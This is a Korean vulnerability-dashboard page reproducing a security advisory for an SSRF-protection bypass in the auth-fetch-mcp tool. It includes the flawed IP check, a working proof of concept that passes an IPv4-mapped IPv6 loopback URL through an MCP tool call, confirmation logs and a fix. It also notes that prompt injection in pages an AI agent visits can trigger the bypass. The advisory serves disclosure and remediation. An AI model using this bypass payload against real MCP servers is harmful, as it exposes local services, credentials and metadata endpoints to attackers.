Kestrel
대시보드로 돌아가기
CVE-2026-49857HIGH· 7.4GHSA대응게시일: 2026. 07. 01.수정일: 2026. 07. 01.

auth-fetch-mcp has SSRF Protection Bypass via IPv4-mapped IPv6 Loopback

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.4high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용필요
범위변경
영향
기밀성 영향높음
무결성 영향없음
가용성 영향없음
버전별 점수
CVSS 3.17.4HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

상세 설명

SSRF Protection Bypass via IPv4-mapped IPv6 Loopback

Summary

auth-fetch-mcp v3.0.1 implements SSRF protection in assertSafeUrl() (src/security.ts) to block requests to private and loopback addresses. However, the isPrivateV6() function fails to detect IPv4-mapped IPv6 loopback addresses in their hex-normalized form. When an attacker supplies a URL such as http://[::ffff:127.0.0.1]:PORT/, the Node.js WHATWG URL parser silently normalizes the host to [::ffff:7f00:1]. Because net.isIPv4('7f00:1') returns false, the private-IP check is bypassed and the URL is passed to the browser or HTTP client, allowing the MCP tool to reach loopback services that are supposed to be blocked. The issue is exploitable under default configuration without any special environment variable and carries a CVSS v3.1 Base Score of 7.4 (High).

Details

The vulnerable function is isPrivateV6() in src/security.ts, called from assertSafeUrl() which gates every outbound request made by the auth_fetch and download_media MCP tools.

Root cause — src/security.ts:46-50:

text
1if (lower.startsWith("::ffff:")) {
2 const v4 = lower.slice(7); // "7f00:1" after Node normalization
3 if (net.isIPv4(v4)) return isPrivateV4(v4); // false → falls through
4}
5return false; // loopback escapes the guard

The Node.js WHATWG URL class (conforming to the URL Living Standard) hex-normalizes IPv4-mapped IPv6 addresses:

Input hostnameAfter new URL(...).hostname
::ffff:127.0.0.1::ffff:7f00:1
::ffff:192.168.1.1::ffff:c0a8:101

After normalization, the suffix after ::ffff: is no longer a dotted-decimal IPv4 string, so net.isIPv4() returns false. The guard falls through and isPrivateV6() returns false, causing assertSafeUrl() to treat a loopback address as safe.

Data flow — primary sink (auth_fetch):

  1. src/tools.ts:119auth_fetch accepts user-controlled url: z.string() (source).
  2. src/tools.ts:128-131 — handler calls navigateTo(ctx, url), passing the raw URL.
  3. src/browser.ts:58navigateTo() calls assertSafeUrl(url).
  4. src/security.ts:74-108assertSafeUrl() delegates IPv6 host validation to isPrivateV6(); hex-normalized loopback bypasses the check.
  5. src/browser.ts:66page.goto(safeUrl.toString()) issues a browser request to the internal address.
  6. src/extractor.ts:33-54 / src/tools.ts:171-176 — page content is extracted and returned to the MCP caller.

Data flow — secondary sink (download_media):

  1. src/tools.ts:198-210download_media accepts user-controlled urls[].
  2. src/tools.ts:233-234 — each URL passes through assertSafeUrl() then ctx.request.get(safeUrl.toString()).
  3. src/tools.ts:253-254 — the response body is written to the local downloads directory and the path is returned.

Dynamic confirmation (Phase 2):

The PoC ran inside a Docker container (--network=host). Direct loopback URLs are correctly blocked:

text
1[BASELINE-BLOCK] Refusing to fetch 127.0.0.1 (resolves to private/loopback/link-local address 127.0.0.1)
2[BASELINE-BLOCK] Refusing to fetch [::1] (resolves to private/loopback/link-local address ::1)

The IPv4-mapped IPv6 form bypasses the check and reaches the internal service:

text
1[VULN] SECURITY_BYPASS: assertSafeUrl() did not throw
2[VULN] Input URL: http://[::ffff:127.0.0.1]:31337/
3[VULN] Normalized URL: http://[::ffff:7f00:1]:31337/
4[VULN] Cause: net.isIPv4('7f00:1') = false → isPrivateV6() returns false
5[SSRF] HTTP response received from internal service
6[CONFIRMED] SSRF_CONFIRMED: response contains INTERNAL_SECRET_MARKER
7[CONFIRMED] VULNERABILITY_REPRODUCED=TRUE

PoC

Prerequisites:

text
1git clone https://github.com/ymw0407/auth-fetch-mcp.git
2cd auth-fetch-mcp
3npm ci
4npm run build
5npx playwright install --with-deps chromium

Terminal 1 — start a loopback-only internal service:

text
1node -e 'require("http").createServer((q,r)=>r.end("<h1>INTERNAL_SECRET_MARKER</h1>")).listen(31337,"127.0.0.1")'

Terminal 2 — start the MCP server (default config, no special env vars):

text
1npx auth-fetch-mcp@3.0.1

MCP tool invocation:

text
1{
2 "tool": "auth_fetch",
3 "arguments": {
4 "url": "http://[::ffff:127.0.0.1]:31337/"
5 }
6}

Expected vs. actual behavior:

URLExpectedActual
http://127.0.0.1:31337/BLOCKBLOCK (correct)
http://[::1]:31337/BLOCKBLOCK (correct)
http://[::ffff:127.0.0.1]:31337/BLOCKALLOW (vulnerable)
http://[::ffff:7f00:1]:31337/BLOCKALLOW (vulnerable)

After the user clicks the "Capture" button, the MCP response contains INTERNAL_SECRET_MARKER, confirming that the internal HTTP service was reached through the SSRF protection bypass.

Remediation

Decode the hex-encoded IPv4-mapped suffix before passing it to isPrivateV4():

text
1 if (lower.startsWith("::ffff:")) {
2 const v4 = lower.slice(7);
3 if (net.isIPv4(v4)) return isPrivateV4(v4);
4+ const m = /^([0-9a-f]{1,4}):([0-9a-f]{1,4})$/.exec(v4);
5+ if (m) {
6+ const hi = parseInt(m[1], 16);
7+ const lo = parseInt(m[2], 16);
8+ const mapped = `${hi >> 8}.${hi & 255}.${lo >> 8}.${lo & 255}`;
9+ return isPrivateV4(mapped);
10+ }
11 }

Additionally, a BrowserContext route guard should be added in src/browser.ts to re-validate every navigation URL (including redirect targets) through assertSafeUrl().

No patched version available.

Impact

This is a Server-Side Request Forgery (SSRF) vulnerability. An attacker who can supply or influence the url argument of the auth_fetch tool (or the urls[] array of download_media) can direct the MCP server to make HTTP requests to services bound to 127.0.0.1 or any other private IPv4 range, simply by encoding the target address as an IPv4-mapped IPv6 literal.

Who is impacted:

  • End users running auth-fetch-mcp locally: an attacker who can inject tool arguments (e.g., via a prompt-injection payload in a webpage visited by the AI agent) can read the response from any HTTP service on the user's loopback interface — local dev servers, admin panels, credential endpoints, metadata services, or other MCP servers.
  • Server-side deployments: any deployment exposing auth-fetch-mcp as a shared MCP server faces the same risk against internal network services reachable from the host.
  • The auth_fetch UI:R capture step is reflected in the CVSS score but does not eliminate the risk in prompt-injection scenarios, which the product's README explicitly identifies as an intended protection boundary.

Confidentiality of internal service responses is fully compromised (C:H); integrity and availability of the target service are not directly affected by this issue.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.